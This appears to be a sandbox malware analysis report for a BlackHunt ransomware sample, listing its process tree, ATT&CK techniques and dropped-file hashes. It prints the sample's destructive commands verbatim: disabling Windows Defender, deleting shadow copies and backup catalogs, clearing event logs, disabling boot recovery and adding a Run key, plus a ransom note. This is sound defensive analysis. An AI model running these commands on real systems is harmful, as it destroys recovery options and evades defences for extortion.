reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1928

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2108

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2468

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2452

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2980

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:1980

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2872

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2852

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2836

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2840

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2604

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:1252

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:352

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:3004

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2992

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:2588

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:2764

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:1884

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2584

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2708

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2792

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2676

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2624

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
PID:2572

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2796

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Suspicious use of WriteProcessMemory
PID:2888

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2756

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Suspicious use of WriteProcessMemory
PID:2732

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Suspicious use of WriteProcessMemory
PID:1952

C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
"C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3032
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:288
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1544
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1644
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:788
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1060
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2656
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1900
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1212
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2920
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1752
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe"
  2⤵
  - Deletes itself
  PID:400
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1620
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1892
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2628
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:560
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2388

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1976

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:2696

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:2684

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
8a0b829ccbde49ae08cf26491abe1d88

SHA1
700ae663fb5e5c1b0aae8b4c8b223daa0dd13e37

SHA256
918b7434354acd8c2eb3bce90ab20d4ef8009d895beaac88ea446ef22aa71f2c

SHA512
6144e7cd90516ded2f267d43252db6c3479887bb78903182144fc059741451c0d0c5ab99ae5a4111b873440d92d63329d3e83999265e18afb8eec96d4497c0cd

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
c3baa75c11f692e139f25324eb2655e7

SHA1
bed994b0469f7a9f6030c40b13cd2ca99a245fca

SHA256
d51af96de02d0c772e13d98ded2203495482934a0175eeed8c283822a519b2e7

SHA512
29639d05b7bb428dde832303f5e6816d546de5934e5dd885b7dda85a88487773eb35c0dabe4fc173db03e9ee66c18f3756f77036d56455b7c31550e830500f42

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
04a91922c818913b82c5bceec831aaa2

SHA1
d340ce479b1c2f6d295c32184096d0a3ffb39cd0

SHA256
0aeb531a6cddc7b19f88dce51e46077625828fdda00f5fa1093b69a1c790c251

SHA512
760c60547318b62a9996e7320ace7226f4821c5afcc234dec78a80fd37e052337e26ef3c1fffc0a43c1568fbb423548652fdf20bf534f71de27b8af68ae2fbb3

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads